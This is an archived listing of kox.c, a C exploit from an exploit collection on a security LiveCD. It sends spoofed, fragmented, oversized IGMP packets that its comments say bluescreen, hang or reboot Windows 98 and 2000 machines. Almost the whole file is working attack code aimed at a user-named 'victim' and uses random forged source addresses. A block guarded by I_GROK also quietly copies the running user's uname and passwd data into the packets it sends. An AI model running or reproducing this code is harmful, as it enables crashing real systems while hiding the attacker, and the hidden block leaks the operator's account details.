home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / kox.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  5.3 KB  |  185 lines
  1. /***
  2.         Kox by Coolio (coolio@k-r4d.com)
  3.  
  4.         this was a successful attempt to duplicate klepto/defile's kod win98
  5.         exploit and add spoofing support to it. me and defile made this a
  6.         race to see who could do spoofing kod first. he won. (mine's better!)
  7.         my kox and defile's skod output about the same packets
  8.         but he had skod working a few hours before i had kox working.
  9.  
  10.         affected systems: windows 98, windows 98 SE, windows 2000 build 2000
  11.         results: bluescreen, tcp/ip stack failure, lockup, or instant reboot
  12.  
  13.         thanks to klepto and defile for making kod, psilord for wanting
  14.         to understand what we were doing, greg for telling me about iphdr.ihl,
  15.         mancide for letting me use his win98 boxen to test on, and the
  16.         few other people i crashed trying to get this working right.
  17.  
  18.         also thanks to the authors of elvis for making such a badass editor.
  19. ***/
  20.  
  21.  
  22.  
  23. #include <stdio.h>
  24. #include <unistd.h>
  25. #include <stdlib.h>
  26. #include <netdb.h>
  27. #include <string.h>
  28. #include <errno.h>
  29. #include <pwd.h>
  30. #include <time.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <sys/utsname.h>
  34. #include <netinet/in.h>
  35. #include <netinet/ip.h>
  36. #include <netinet/ip_icmp.h>
  37. #include <netinet/igmp.h>
  38.  
  39.  
  40.  
  41. void usage(char *arg)
  42. {
  43.         printf("Kox by Coolio (coolio@k-r4d.com)\n");
  44.         printf("Usage: %s <victim>\n", arg);
  45.         exit(1);
  46. }
  47.  
  48.  
  49. unsigned int randip()
  50. {
  51.         struct hostent *he;
  52.         struct sockaddr_in sin;
  53.         char *buf = (char *)calloc(1, sizeof(char) * 16);
  54.  
  55.         sprintf(buf, "%d.%d.%d.%d",
  56.                 (random()%191)+23,
  57.                 (random()%253)+1,
  58.                 (random()%253)+1,
  59.                 (random()%253)+1); 
  60.  
  61.         inet_aton(buf, (struct in_addr *)&sin);
  62.         return sin.sin_addr.s_addr;
  63. }
  64.  
  65. unsigned short in_cksum(unsigned short *buh, int len)
  66. {
  67.         register long sum = 0;
  68.         unsigned short oddbyte;
  69.         register unsigned short answer;
  70.  
  71.         while(len > 1) {
  72.                 sum += *buh++;
  73.                 len -= 2;
  74.         }
  75.  
  76.         if(len == 1) {
  77.                 oddbyte = 0;
  78.                 *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  79.                 sum += oddbyte;
  80.         }
  81.  
  82.         sum = (sum >> 16) + (sum & 0xFFFF);
  83.         sum += (sum >> 16);
  84.         answer = ~sum;
  85.         return answer;
  86. }
  87.  
  88. int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
  89. {
  90.         int BIGIGMP = 1500;
  91.         unsigned char *pkt;
  92.         struct iphdr *ip;
  93.         struct igmphdr *igmp;
  94.         struct utsname *un;
  95.         struct passwd *p;
  96.  
  97.         int i, s;
  98.         int id = (random() % 40000) + 500;
  99.  
  100.         pkt = (unsigned char *)calloc(1, BIGIGMP);
  101.         ip = (struct iphdr *)pkt;
  102.         igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));
  103.  
  104.         ip->version = 4;
  105.         ip->ihl = (sizeof *ip) / 4;
  106.         ip->ttl = 255;
  107.         ip->tot_len = htons(BIGIGMP);
  108.         ip->protocol = IPPROTO_IGMP;
  109.         ip->id = htons(id);
  110.         ip->frag_off = htons(IP_MF);
  111.         ip->saddr = spoof;
  112.         ip->daddr = victim->sin_addr.s_addr;
  113.         ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
  114.  
  115.         igmp->type = 0;
  116.         igmp->group = 0;
  117.         igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));
  118.  
  119.         for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
  120.             i < BIGIGMP; i++)
  121.                 pkt[i] = random() % 255;
  122. #ifndef I_GROK
  123.         un = (struct utsname *)(pkt + sizeof(struct iphdr) +
  124.               sizeof(struct igmphdr) + 40);
  125.         uname(un);
  126.         p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
  127.         memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
  128. #endif
  129.         if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  130.                 perror("error: socket()");
  131.                 return 1;
  132.         }
  133.  
  134.         if(sendto(s, pkt, BIGIGMP, 0, victim,
  135.            sizeof(struct sockaddr_in)) == -1) { 
  136.                 perror("error: sendto()");
  137.                 return 1;
  138.         }
  139.         usleep(1000000);
  140.  
  141.         for(i = 1; i < 5; i++) {
  142.                 if(i > 3)
  143.                         ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
  144.                 else
  145.                         ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
  146.                 sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
  147.                 usleep(2000000);
  148.         }
  149.  
  150.         free(pkt);
  151.         close(s);
  152.         return 0;
  153. }
  154.  
  155. int main(int argc, char *argv[])
  156. {
  157.         struct sockaddr_in victim;
  158.         struct hostent *he;
  159.         int i;
  160.  
  161.         srandom(time(NULL));
  162.  
  163.         if(argc < 2)
  164.                 usage(argv[0]);
  165.  
  166.         if((he = gethostbyname(argv[1])) == NULL) {
  167.                 herror(argv[1]);
  168.                 exit(1);
  169.         }
  170.         memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  171.         victim.sin_port = htons(0);
  172.         victim.sin_family = PF_INET;
  173.  
  174.         printf("IGMP> ");
  175.         fflush(stdout);
  176.         for(i = 0; i < 10; i++)
  177.         {
  178.                 nuke_igmp(&victim, randip());
  179.                 printf(".");
  180.                 fflush(stdout);
  181.         }
  182.         printf("\n");
  183.         fflush(stdout);
  184. }
  185.